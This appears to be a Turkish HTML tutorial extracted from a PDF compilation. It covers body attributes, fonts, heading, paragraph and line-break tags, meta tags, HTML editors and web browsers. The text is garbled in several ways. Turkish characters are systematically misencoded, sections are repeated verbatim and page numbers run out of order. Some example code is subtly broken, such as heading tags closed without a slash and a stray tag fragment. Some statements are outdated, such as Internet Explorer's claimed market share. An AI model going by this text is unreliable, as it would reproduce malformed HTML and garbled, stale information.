kullanılmasını sağlar.
Text : Sayfadaki yazıların rengini belirtir. Bu
renk belirtilmiĢ ise sayfa içinde renk belirten etiket
görülmediği sürece tüm içerik bu renkte basılır.
Örneğin
<body bgcolor=‖aqua‖ text="red" background=―1.jpg">
Normalde resimler için en boy belirtilebilir ancak <body>
etiketinde bu durum söz konusu değildir. Seçilen resim
tarayıcı tarafından tüm sayfayı kaplayacak Ģekilde
sayfaya yerleĢtirilir.
TrueType Fontlar-Harf GeniĢliği Serif ve Sans Serif
Harfler
Daktilolarda, kağıdı hareket ettiren mekanizma, her
harfin geniĢliğine göre farklı hareket yeteneğine sahip
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
53
olmadığından ―i‖ veya ―k‖ veya hepsinden geniĢ olan ―m‖
harfi de aynı geniĢlikte bir alana yazılırdı. Zamanla
teknoloji sayesinde bu sorun aĢıldı. Harfleri
büyüklüklerine göre göreli geniĢlikte olan fontlarla bütün
harfleri aynı geniĢlikte olan fontların farkı buradan
kaynaklanır. Günümüzde, teknik gerekçelerle eski tip
fontlar hala vardır.
Harflerin genel karakteristiğine göre ayrımda ise fontlar
serif, sans serif ve dekoratif olarak üçe ayrılır. Serif
harfler kuyruklu yazılmıĢ, sans serif harfler ise düz olan
biçimdir. Web de görsel etki, zıtlıklardan yararlanarak
sağlanır. Bir sayfada yer alacak bir metnin serif diğerinin
sans serif harflerle yazılması iyi bir zıtlık oluĢturup
okunulabilirliği artıracaktır Ekranda okuma kolaylığı
açısından sans serif harfler tercih edilmelidir. Özellikle
küçük puntolu serif harflerin okunması çok zor olabilir.
Sans serif harfler içeren en bilinen fontlar Arial Verdana
ve Tahoma fontlarıdır. Serif için en bilinen örnek ise
times New Roman fontudur.
H1,H2,H3,H4,H5,H6 BaĢlık Etiketleri
HTML bize H1, birinci yani en büyük, H6 sonuncu, yani
en küçük olmak üzere altı ayrı büyüklükte baĢlık
kullanma imkanı veriyor. Farklı baĢlık büyüklüklerini
daha yakından tanımak için, Ģu sayfayı yazarak, örneğin
baslik.htm adıyla kaydedin:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=windows-1254">
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
54
<title>BaĢlıklar</title>
</head>
<body>
<p><font face="Arial">
<h1>H1: baĢlık 1<h1>
<h2>H2: baĢlık 2 <h2>
<h3>H3: baĢlık 3 <h3>
<h4>H4: baĢlık 4 <h4>
<h5>H5: baĢlık 5 <h5>
<h6>H6: baĢlık 6 <h6>
Normal Metin
</font> </p>
</body>
Paragraf etiketi gibi, baĢlık etiketinin de arkasına
koyabileceğiniz tek özellik ALIGN‘dır ve bununla baĢlığın
sola, sağa, ortaya hizalanmasını veya sağ sol marjların
aynı anda hizalanmasını sağlayabilirsiniz.
<br> etiketi
Bu etiket metni iki satıra bölmek için kullanılır. Enter
tuĢunun iĢlevini taĢır. HTML metni biçimlendirirken
MSWORD gibi davranır. Yani ―alt satıra geç‖ yada ―yeni
paragrafa baĢla‖ iĢaretini görmedikçe metni sağa doğru
yazmaya ve pencere sonuna gelince alta doğru
kaydrmaya devam eder. Metni bölmek için HTML
kodunda iken enter tuĢuna basmıĢ olmanız tarayıcı için
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
55
bir anlam ifade etmez. Tarayıcı <br> etiketini görünce
bir alt satıra geçer.
<HTML>
<BODY>
Bu satır çok çok çok ama çok uzun bir satır. Ancak HTML
için için bunun için bir önemi yok. Çünkü ne yazarsanız
yazın özel etiketi görmedikçe aynı paragraftaymıĢ gibi
ekrana görüntülenmeye devam edilecektir.
Bu satır da bir önceki gibi <br><çok çok çok ama çok
<br> uzun bir satır. <br>Ancak HTML için için bunun için
bir <br>önemi yok. <br>Çünkü ne yazarsanız yazın
<br> özel etiketi görmedikçe aynı paragraftaymıĢ
<br>gibi ekrana görüntülenmeye devam edilecektir.
<br> Bu satırın farkı ise BR etiketi ile bölünmüĢ olması.
</BODY>
</HTML>
<p>…</p> etiketi
ĠĢlev olarak <br>etiketine benzer ancak temelde
farklıdır. <p> etiketi </p> ile sonlandırılır. <br> sadece
alt satıra geçerken bu etiket paragraf baĢı yapar.
<HTML>
<BODY>
<br>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
56
Bu satır çok çok çok ama çok uzun bir satır. Ancak HTML
için için bunun için bir önemi yok. Çünkü ne yazarsanız
yazın özel etiketi görmedikçe aynı paragraftaymıĢ gibi
ekrana görüntülenmeye devam edilecektir.
<p>
Bu satır çok çok çok ama çok uzun bir satır. Ancak HTML
için için bunun için bir önemi yok. Çünkü ne yazarsanız
yazın özel etiketi görmedikçe aynı paragraftaymıĢ gibi
ekrana görüntülenmeye devam edilecektir. </p>
</BODY>
</HTML>
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
Bir web sitesinin temeli içeriktir. Resimde olsa metinde
olsa görüntüde olsa sonuçta hepsi içeriktir. Bu içerikler
ise Etiket denilen (TAG) iĢaretleyiciler yardımıyla
biçimlendirilir.
Etiketler (Tag)
HTML komutları içeren ve tarayıcıların tanıyabildiği
dosya, aslında içinde ASCII karakterlerden baĢka bir Ģey
olmayan, düz yazı dosyalarıdır. Tarayıcıya, sayfayı
ekranda oluĢtururken vermesini istenilen biçimle ilgili
komutlar bir dizi özel etiketler ile belirtilir. Bunları
içerikten ayırmak içinse ―<>‖ çifti arasına almak gerekir.
Sayfa tasarımı yaparken örneğin <b> etiketi kullanılırsa
tarayıcıya ―ben buraya bu etiketi koydum. Artık benden
ikinci bir komut gelene kadar her Ģeyi ekrana KOYU
olarak bastır‖ denilmiĢ olur. Dolayısıyla HTML‘de ilke,
önünde etiketi olmayan herhangi metne yer
vermemektir. Önünde etiketi olmayan herhangi bir metin
parçası, tarayıcı tarafından temel paragraf olarak
nitelenir.
HTML, içinde kontrol kodu olmayan metin dosyasıdır.
Yani Wordde bir dosya yazdığınızda içinde HTML
etiketleri kullanmıĢ ble olsanız bu dosya metin dosyası
olmadığından HTML dosyası değildir. Böyle bir dosyanın
adındaki uzantıyı silerek, yerine ―.html‖ uzantısını
verilirse ekrana gelecek olan dosyadaki metin değil,
Çinçe yada Japonca dilini çağrıĢtıran karakterler yığını
olacaktır. HTML düz yazı olduğuna göre, bir HTML
dosyası oluĢturmak için, herhangi bir kelime-iĢlem
yazılımı kullanılabilir.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
45
HTML Yazım Kuralları
1. Etiketlerin büyük harfle veya küçük harfle
yazılması arasında fark yoktur. <br> ile <BR> aynı
iĢi yapmaktadır.
2. Bir kaç istisna tiket hariç bütün etiketlerin birde
sonlandırma çifti vardır. Sonlandırma için aynı
etiketin önüne ―/‖ (bölü) iĢareti konulur. Örneğin
<strong>Türkiye</strong> gibi.
3. <!-- ile --> arasındaki metinler yorum olarak ele
alınır ve gösterilmez.
İyi bir programcı açtığı etiketi kapatmayı
unutmamalıdır. Bunun için en kolay yöntem
önce açma ve sonladırma etiketlerini yazma
sonra içerisini doldurmaktır.
HTML Dosyasının Bölümleri
HTML dosyası iki kısımdan oluĢur.
1. Head denilen baĢlık kısmı.
2. Body denilen metnin kendisi
Web tarayıcılar, HTML etiketini gördükten sonra hemen
HEAD ve BODY etiketlerini arar ve ekrandaki sayfayı
buna göre biçimlendirirler.
Basit bir HTML örneği,
<HTML>
<HEAD>
BaĢlık Metni
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
46
</HEAD>
<BODY>
Body Metni
</BODY>
</HTML>
<html>
<head>
<title> İlk Sayfam </title>
</head>
<body>
Sayfama Hoş geldiniz
</body>
</html>
Türkçe bilgi içeren bir sayfa örneği ise;
<HTML>
<HEAD>
<meta http-equiv = "Content-Type" content =
"text/html; charset = windows-1254">
</HEAD>
<BODY>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
47
Merhaba. Web Tasarım Rehberi‘ne HoĢ Geldiniz!
</BODY>
</HTML>
<html>...</html>
Örneklerde görüldüğü gibi bu etiket bloku tarayıcıya
HTML dosyasının baĢladığını ve bittiğini belirtir. Tüm
diğer kodlar bu iki etiket arasına yazılır.
<head>...</head>
Etiketleri arasında ise sayfa hakkında bilgiler verilir. title
gibi etiketler, anahtar kelimeler, sayfanın dili vs
burada yer alır. Bu alandaki bilgiler ekranda
görünmezler. Sadece title tarayıcı baĢlığı olarak kullanılır.
<title>...</title>
Title etiketi tarayıcı penceresinin üstüne yazılacak olan
baĢlığı belirtir. Yazılan metin penceresinin üstünde
tarayıcı adı ile birlikte yazılır.
<body>...</body>
Bu etiketler ise sayfanın ekranda görüntülenecek olan
kısmını yazdığımız bloktur. Parametreleri ile birlite
sayfanın zemin rengini, linklerin rengini, arkaplan
resmini ayarlamak mümkündür.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
48
Meta Etiketleri Arama Motorları Ġçin Sitemize Eklememiz
Gereken Bilgiler
Normal olarak oluĢturulan her sayfanın HEAD kısmına
sayfanın açıklamasının yapıldığı, sayfa hakkında anahtar
kelimelerin belirtildiği meta etiketler konabilir ve
konulmalıdırda.
Anahtar kelimeler arama motorlarının sayfayı tanımasını
ve tespit etmesini sağlar. Yeni nesil arama motorları
(Örn : Google gibi) meta etiketlerinin yanısıra belgenin
Gövde kısmındaki içeriği de dikkate alır. Eskiden sırf
ziyaretçi çekmek için popüler metinlere meta
etiketlerinde alakasız yer verilir bir nevi kullanıcı
aldatılırdı. Google BODY kısmınıda dikkate alarak bu iĢe
bir önlem almıĢ olmaktadır.
NAME: Sayfanın yazarı, sayfanın yayın tarihi, vb.,
bilgiler içerir. <META NAME="bilginin türü"
CONTENT="bilgi"> Ģeklinde yazılır.
<META NAME="keywords" CONTENT = "kelime1
kelime2 kelime3">
"keywords" sayfa hakkında bazı anahtar kelimeler
içerir. Böylece arama motorları için index oluĢturmaya
yardımcı olur. (Dikkat: bu kısma ilgisiz alakasız Ģeyler
yazarak arama motorları aldatıldığından artık sadece
bu alan değil komple içerik indekslenmektedir. Kısaca
kendinizi kandırmayın)
<META NAME ="description" CONTENT
="metin">
"description" etiketi site hakkında tanımlanma bilgisini
içerir. Bu etiketi tanımayan arama motorları ise
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
49
sayfanın ilk bir kaç kelimesini tanımlama aracı olarak
kullanır. Örnek:
<META NAME="description" CONTENT ="KiĢisel PHP
sitem.">
<META NAME="author" CONTENT ="Adı
Soyadı">
Arama yapanlara siteler gösterilirken bazı arama
motorları site yazarını bu etiketi tarayarak bulur.
Örnek:<META NAME="author" CONTENT="Türkiye"
HTTP-EQUIV: Ġçinde yer aldığı sayfanın, Web Server
tarafından ziyaretçiye gönderilmesinde oluĢturulacak
Response Header (KarĢılık BaĢlığı) bölümünde yer
alacak bilgiler içerir. <META HTTP-EQUIV="bilginin
türü" CONTENT="bilgi"> Ģeklinde yazılır.
AĢağıda, meta etiketlerinin content bölümünde açıklama
yapılmıĢ ve parantez içinde bu sayfa için uygun örnekler
verilmiĢtir.
<meta name="author" content="Sayfayı düzenleyenin
adı">
<meta name = "Description" content = "Sayfanın
açıklaması">
<meta name="keywords" content="Arama motorlarına
yardımcı olmak için sayfa hakkında anahtar kelimeler (bu
sayfa için HTML,ders,web sayfası,web sitesi, PHP vs) ">
<META name="copyright" content="Telif hakkı ve
tanımları" >
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
50
Eğer sayfa içeriği Ġngilizceden farklı ise hazırlanan
sayfada herhangi bir karakter görüntüleme sorunu
sorunu yaĢamamak için <head> bölümünde sayfasının
kod sayfasını belirten meta etiketleride eklenmelidir.
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-9">
<meta http-equiv="Content-Type" content="text/html;
charset=win-1254">
Bugünlerde arama motorları için yapılabilecek iĢlemler
SEO Uzmanlığı adıyla ayrı bir meslek haline
dönüĢmüĢtür. Bu konuda bazı materyalleri ilerleyen
konularda bulacaksınız.
Meta Tağlarının GeliĢmiĢ Kullanımı
Sayfanın Süre AĢımını Belirtmek
Bu iĢlem için ―expires‖ etiketi kullanılır.
<META HTTP-EQUIV="expires" CONTENT="Wed,
04 Apr 2008 23:59:59 GMT">
Yukardaki örnekte sayfanın 4 Nisan 2008 günü
Greenwich saatiyle gece yarısından itibaren arama
motorlarından ve ziyaretçilerin bilgisayarlarında geçici
Internet dosyaları klasöründen silinmesini sağlar.
Bir Sayfanın Belirli Bir süre Ekranda Kalıp Otomatikman
BaĢka Bir Adrese Yönlenmesini Sağlamak
Bu iĢlem için ―refresh‖ etiketi kullanılır. Böylece tanımlı
süre sonunda hedef URL otomatik açılır.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
51
<meta http-equiv = "refresh" content ="5;
url=http://abc.com/dnm.html">
Bu sayfanın 5 saniye ekranda kalacağını ve daha sonra URL
ile belirtilen adresteki sayfanın yüklenmesini sağlar.
Türkçe Karakterleri Görüntülemek-Kod Sayfası
Yukarda örneğini gördüğümüz meta etiketi sayesinde
sayfa için bir kod sayfası belirtebiliriz. Böylece hazırlanan
sayfanın ekranda hangi karakter seti ile
görüntüleneceğinin bilgisini tarayıcıya vermiĢ oluruz.
Türkçe için 3 adet karakter seti kullanma imkanımız
vardır.
Windows-1254
Iso-8859-9
UTF
Türkçe bilgilerin görüntülenebilmesi için
<meta http-equiv="Content-Type" content = "text/html;
charset=windows-1254">
<meta http-equiv="Content-Type" content = "text/html;
charset=iso-8859-9">
Seçenekleri kullanılabilinirse de en doğrusu UTF-8 kod
sayfasının kullanımıdır. UTF evrensel karakter seti olmak
iddiasındadır. Bu konuda da hayli yol katetmiĢtir. Bu
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
52
nedenle artık UTF kodlamasının kullnaılması kesinlikle
önerilir.
<meta http-equiv="Content-Type" content = "text/html;
charset=utf-8">
<BODY> Etiketinin Parametreleri
Body etiketi çeĢitli parametreler ilede kullanılabilir.
Bunlar
Bgcolor : Sayfanın zemin rengini belirtir
Background : Sayfanın zemini için bir resim
kullanılmasını sağlar.
Text : Sayfadaki yazıların rengini belirtir. Bu
renk belirtilmiĢ ise sayfa içinde renk belirten etiket
görülmediği sürece tüm içerik bu renkte basılır.
Örneğin
<body bgcolor=‖aqua‖ text="red" background=―1.jpg">
Normalde resimler için en boy belirtilebilir ancak <body>
etiketinde bu durum söz konusu değildir. Seçilen resim
tarayıcı tarafından tüm sayfayı kaplayacak Ģekilde
sayfaya yerleĢtirilir.
TrueType Fontlar-Harf GeniĢliği Serif ve Sans Serif
Harfler
Daktilolarda, kağıdı hareket ettiren mekanizma, her
harfin geniĢliğine göre farklı hareket yeteneğine sahip
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
53
olmadığından ―i‖ veya ―k‖ veya hepsinden geniĢ olan ―m‖
harfi de aynı geniĢlikte bir alana yazılırdı. Zamanla
teknoloji sayesinde bu sorun aĢıldı. Harfleri
büyüklüklerine göre göreli geniĢlikte olan fontlarla bütün
harfleri aynı geniĢlikte olan fontların farkı buradan
kaynaklanır. Günümüzde, teknik gerekçelerle eski tip
fontlar hala vardır.
Harflerin genel karakteristiğine göre ayrımda ise fontlar
serif, sans serif ve dekoratif olarak üçe ayrılır. Serif
harfler kuyruklu yazılmıĢ, sans serif harfler ise düz olan
biçimdir. Web de görsel etki, zıtlıklardan yararlanarak
sağlanır. Bir sayfada yer alacak bir metnin serif diğerinin
sans serif harflerle yazılması iyi bir zıtlık oluĢturup
okunulabilirliği artıracaktır Ekranda okuma kolaylığı
açısından sans serif harfler tercih edilmelidir. Özellikle
küçük puntolu serif harflerin okunması çok zor olabilir.
Sans serif harfler içeren en bilinen fontlar Arial Verdana
ve Tahoma fontlarıdır. Serif için en bilinen örnek ise
times New Roman fontudur.
H1,H2,H3,H4,H5,H6 BaĢlık Etiketleri
HTML bize H1, birinci yani en büyük, H6 sonuncu, yani
en küçük olmak üzere altı ayrı büyüklükte baĢlık
kullanma imkanı veriyor. Farklı baĢlık büyüklüklerini
daha yakından tanımak için, Ģu sayfayı yazarak, örneğin
baslik.htm adıyla kaydedin:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=windows-1254">
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
54
<title>BaĢlıklar</title>
</head>
<body>
<p><font face="Arial">
<h1>H1: baĢlık 1<h1>
<h2>H2: baĢlık 2 <h2>
<h3>H3: baĢlık 3 <h3>
<h4>H4: baĢlık 4 <h4>
<h5>H5: baĢlık 5 <h5>
<h6>H6: baĢlık 6 <h6>
Normal Metin
</font> </p>
</body>
Paragraf etiketi gibi, baĢlık etiketinin de arkasına
koyabileceğiniz tek özellik ALIGN‘dır ve bununla baĢlığın
sola, sağa, ortaya hizalanmasını veya sağ sol marjların
aynı anda hizalanmasını sağlayabilirsiniz.
<br> etiketi
Bu etiket metni iki satıra bölmek için kullanılır. Enter
tuĢunun iĢlevini taĢır. HTML metni biçimlendirirken
MSWORD gibi davranır. Yani ―alt satıra geç‖ yada ―yeni
paragrafa baĢla‖ iĢaretini görmedikçe metni sağa doğru
yazmaya ve pencere sonuna gelince alta doğru
kaydrmaya devam eder. Metni bölmek için HTML
kodunda iken enter tuĢuna basmıĢ olmanız tarayıcı için
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
55
bir anlam ifade etmez. Tarayıcı <br> etiketini görünce
bir alt satıra geçer.
<HTML>
<BODY>
Bu satır çok çok çok ama çok uzun bir satır. Ancak HTML
için için bunun için bir önemi yok. Çünkü ne yazarsanız
yazın özel etiketi görmedikçe aynı paragraftaymıĢ gibi
ekrana görüntülenmeye devam edilecektir.
Bu satır da bir önceki gibi <br><çok çok çok ama çok
<br> uzun bir satır. <br>Ancak HTML için için bunun için
bir <br>önemi yok. <br>Çünkü ne yazarsanız yazın
<br> özel etiketi görmedikçe aynı paragraftaymıĢ
<br>gibi ekrana görüntülenmeye devam edilecektir.
<br> Bu satırın farkı ise BR etiketi ile bölünmüĢ olması.
</BODY>
</HTML>
<p>…</p> etiketi
ĠĢlev olarak <br>etiketine benzer ancak temelde
farklıdır. <p> etiketi </p> ile sonlandırılır. <br> sadece
alt satıra geçerken bu etiket paragraf baĢı yapar.
<HTML>
<BODY>
<br>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
56
Bu satır çok çok çok ama çok uzun bir satır. Ancak HTML
için için bunun için bir önemi yok. Çünkü ne yazarsanız
yazın özel etiketi görmedikçe aynı paragraftaymıĢ gibi
ekrana görüntülenmeye devam edilecektir.
<p>
Bu satır çok çok çok ama çok uzun bir satır. Ancak HTML
için için bunun için bir önemi yok. Çünkü ne yazarsanız
yazın özel etiketi görmedikçe aynı paragraftaymıĢ gibi
ekrana görüntülenmeye devam edilecektir. </p>
</BODY>
</HTML>
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
HTML Editörleri Nelerdir?
HTML Editörleri
Genel olarak HTML editörleri iki grupta incelenirler, Metin
editörleri ve WYSIWYG editörler. Normal metin
editörlerine en bilinen örnek Windows ile birlikte gelen
notepad programıdır. WYSIWYG editörler ise HTML
dosyasını tarayıcı içindeymiĢ gibi göstererek kullanıcının
yazdığı metinlerin geri planda HTML karĢılığını
kaydederler.
Günümüzde editörler öylesine geliĢmiĢtir ki, hata
kontrolü, Mouse ile çizerek sayfa çatısı kurma, hazır
temalar, hazır sayaç çeĢitleri, FTP ile sayfayı siteye
upload etme seçeneklerinin hepsini birden içinde
barındıran editörler ortaya çıkmıĢtır.
Expression Web
Windows iĢletim sisteminde çalıĢır. Tema, WYSIWYG ve
FTP desteği verir.
Dreamweaver
Hem metin hemde WYSIWYG tasarıma izin verir. Ayrıca
PHP, ASP, CF gibi dilerlide kullanmayı sağlar. Sürükle
bırak form dizayn etme, veri tabanına otomatik bağlantı
ve sorgu dizayn etme, hazır formlar, FTP ile upload ve en
önemlisi Mouse ile çizerek sayfa çatısını CSS formatında
çizebilmesidir.
Word
Word aslında kelime iĢlemcidir ama sayfaları HTML
olarak kaydetmeyede izin verir. En büyük sorunu ise
Word ile oluĢturulan bir HTML sayfası, aynı iĢi yapan ve
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
43
Notepad ile oluĢturulmuĢ bir sayfadan yakalĢık iki kat
daha büyük olmasıdır. Hele sayfada tablo da bulunuyorsa
durum dahada vahimdir.
NVU
Bedava bir editördür. Composer kodu üzerine
geliĢtirilmiĢtir. WYSIWYS tasarıma izin verir. Tablo
kullanma yeteneği kısıtlıdır. Frame vs konularda da
kullanıcıyı sıkıntıya sokmaktadır.
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
Genel olarak HTML editörleri iki grupta incelenirler, Metin
editörleri ve WYSIWYG editörler. Normal metin
editörlerine en bilinen örnek Windows ile birlikte gelen
notepad programıdır. WYSIWYG editörler ise HTML
dosyasını tarayıcı içindeymiĢ gibi göstererek kullanıcının
yazdığı metinlerin geri planda HTML karĢılığını
kaydederler.
Günümüzde editörler öylesine geliĢmiĢtir ki, hata
kontrolü, Mouse ile çizerek sayfa çatısı kurma, hazır
temalar, hazır sayaç çeĢitleri, FTP ile sayfayı siteye
upload etme seçeneklerinin hepsini birden içinde
barındıran editörler ortaya çıkmıĢtır.
Expression Web
Windows iĢletim sisteminde çalıĢır. Tema, WYSIWYG ve
FTP desteği verir.
Dreamweaver
Hem metin hemde WYSIWYG tasarıma izin verir. Ayrıca
PHP, ASP, CF gibi dilerlide kullanmayı sağlar. Sürükle
bırak form dizayn etme, veri tabanına otomatik bağlantı
ve sorgu dizayn etme, hazır formlar, FTP ile upload ve en
önemlisi Mouse ile çizerek sayfa çatısını CSS formatında
çizebilmesidir.
Word
Word aslında kelime iĢlemcidir ama sayfaları HTML
olarak kaydetmeyede izin verir. En büyük sorunu ise
Word ile oluĢturulan bir HTML sayfası, aynı iĢi yapan ve
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
43
Notepad ile oluĢturulmuĢ bir sayfadan yakalĢık iki kat
daha büyük olmasıdır. Hele sayfada tablo da bulunuyorsa
durum dahada vahimdir.
NVU
Bedava bir editördür. Composer kodu üzerine
geliĢtirilmiĢtir. WYSIWYS tasarıma izin verir. Tablo
kullanma yeteneği kısıtlıdır. Frame vs konularda da
kullanıcıyı sıkıntıya sokmaktadır.
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
Web Tarayıcıları Nedir?
Web Tarayıcıları
Bir Web tarayıcı kullanıcının yazdığı adresi yada tıkladığı
linki ilgili web serverdan talep eden varsa dönen bilgiyi
içinde tanımlı motor ile yorumlayıp ekran görüntüsünü
oluĢturup ekranda gösteren yazılımdır.
Burada çok dikkat edilmesi gereken nokta Ģudur. Her
tarayıcının yorumlayıcı motoru farklı kiĢiler tarafından
geliĢtirildiği için haliyle her komutu aynı Ģekilde
yorumlamaları beklenemez. ĠĢte bu yüzden bazı web
sayfaları bir tarayıcıda diğerinde olduğundan farklı
görünebilirler. Web sitesini ziyaret edebilecek kiĢilere de
illa Ģu tarayıcı kullanılmalıdır gibi bir sınır
konamayacağından sayfa bazı kiĢiler tarafından hatalı
olarak görülecektir. ĠĢte bu yüzden web sitesi yaparken
mutlaka sayfanın diğer tarayıcılarda nasıl göründüğü
kontrol edilmelidir.
HTML‘i kullanarak, ticarî amaçlı Web tasarımı yapan kiĢi,
Internet ile bağlantılı bilgisayar kullanıcılarının (Internet
kullanıcılarının) hepsinin ekranında aynı Ģekilde
gösterilecek sayfalar yapmaya mecburdur. Buna karĢılık
bir firmanın intranet ortamı için Web tasarımı yapan kiĢi,
HTML‘in sadece kendi firmasının standart olarak
benimsediği tarayıcının anlayabileceği özelliklerinden
yararlanması mümkündür.
Microsoft Internet Explorer
Windows ortamında tarayıcı piyasasına, diğer
tarayıcılardan sonra girmesine rağmen, Ģu anda pazarda
%80 in üzerinde bir oranda kullanıma sahiptir.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
40
Netscape Navigator
Netscape Communications Corporation‘ın (NCC) piyasaya
sürdüğü NN, IE‘ın hızlı yükseliĢi sonucu gerilemiĢ ve
sonunda yerini Open Source kardeĢi Firefox‘a bırakmıĢtır.
Firefox
Netscape tarayıcısının kaynak kodu üzerine
geliĢtirilmiĢtir. Hızla yaygınlaĢmıĢtır. Firefox Google
tarafından da maddi anlamda desteklenen bir projedir
Opera
Norveçli bir firmanın geliĢtirdiği Opera standartlara en
uyan tarayıcı olması ile ünlüdür. Sekmeli arabirimde ilk
defa Operada gelmiĢ bir yeniliktir. Günümüzde eski
günlerini aramakta olsada hala bir ölçekte kullanımdadır.
Google Chrome
Google‘ın çıkardığı tarayıcı olup Google adı üzerinde
yaygınlaĢarak epey bir kullanım oranına kavuĢmuĢtur.
Yandex Browser
Rusya menĢeili arama motoru Yandex‘in Google
Chrome‘un açık kaynaklı kısmı üzerine kurulu
tarayıcısıdır.
Tarayıcılar Ġçin Yardımcı Programlar ve Ek Birimler
Tarayıcılar eskiden sadece iletilen metni göstermekteydi.
ġimdi hiçbir eklenti gerekmeden bir çok resim
dosyayısını gösterebilmekte ve çözücü (CODEC- COder
DECoder) yardımı ile video dosyalarını
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
41
oynatabilmektedir. CODEC kullanılması tarayıcıların asıl
alanlarında kalmasına izin verir. Çünkü sürekli yeni
görüntü ve ses formatları çıkmaktadır. Haliyle her
tarayıcının buna ayak uydurması mümkün değildir. Plug-
In denilen ek birimler tarayıcıya tamamen farklı bir
programı açmak yerine, belirli bir tür dosya türünü
ekranda canlandırabilme yeteneği kazandıran eklerdir.
Tarayıcı program bilgisayara kurulurken bu ek birimler
olmaksızın (ya da çok yaygın olanları ile) yüklenir.
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
Bir Web tarayıcı kullanıcının yazdığı adresi yada tıkladığı
linki ilgili web serverdan talep eden varsa dönen bilgiyi
içinde tanımlı motor ile yorumlayıp ekran görüntüsünü
oluĢturup ekranda gösteren yazılımdır.
Burada çok dikkat edilmesi gereken nokta Ģudur. Her
tarayıcının yorumlayıcı motoru farklı kiĢiler tarafından
geliĢtirildiği için haliyle her komutu aynı Ģekilde
yorumlamaları beklenemez. ĠĢte bu yüzden bazı web
sayfaları bir tarayıcıda diğerinde olduğundan farklı
görünebilirler. Web sitesini ziyaret edebilecek kiĢilere de
illa Ģu tarayıcı kullanılmalıdır gibi bir sınır
konamayacağından sayfa bazı kiĢiler tarafından hatalı
olarak görülecektir. ĠĢte bu yüzden web sitesi yaparken
mutlaka sayfanın diğer tarayıcılarda nasıl göründüğü
kontrol edilmelidir.
HTML‘i kullanarak, ticarî amaçlı Web tasarımı yapan kiĢi,
Internet ile bağlantılı bilgisayar kullanıcılarının (Internet
kullanıcılarının) hepsinin ekranında aynı Ģekilde
gösterilecek sayfalar yapmaya mecburdur. Buna karĢılık
bir firmanın intranet ortamı için Web tasarımı yapan kiĢi,
HTML‘in sadece kendi firmasının standart olarak
benimsediği tarayıcının anlayabileceği özelliklerinden
yararlanması mümkündür.
Microsoft Internet Explorer
Windows ortamında tarayıcı piyasasına, diğer
tarayıcılardan sonra girmesine rağmen, Ģu anda pazarda
%80 in üzerinde bir oranda kullanıma sahiptir.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
40
Netscape Navigator
Netscape Communications Corporation‘ın (NCC) piyasaya
sürdüğü NN, IE‘ın hızlı yükseliĢi sonucu gerilemiĢ ve
sonunda yerini Open Source kardeĢi Firefox‘a bırakmıĢtır.
Firefox
Netscape tarayıcısının kaynak kodu üzerine
geliĢtirilmiĢtir. Hızla yaygınlaĢmıĢtır. Firefox Google
tarafından da maddi anlamda desteklenen bir projedir
Opera
Norveçli bir firmanın geliĢtirdiği Opera standartlara en
uyan tarayıcı olması ile ünlüdür. Sekmeli arabirimde ilk
defa Operada gelmiĢ bir yeniliktir. Günümüzde eski
günlerini aramakta olsada hala bir ölçekte kullanımdadır.
Google Chrome
Google‘ın çıkardığı tarayıcı olup Google adı üzerinde
yaygınlaĢarak epey bir kullanım oranına kavuĢmuĢtur.
Yandex Browser
Rusya menĢeili arama motoru Yandex‘in Google
Chrome‘un açık kaynaklı kısmı üzerine kurulu
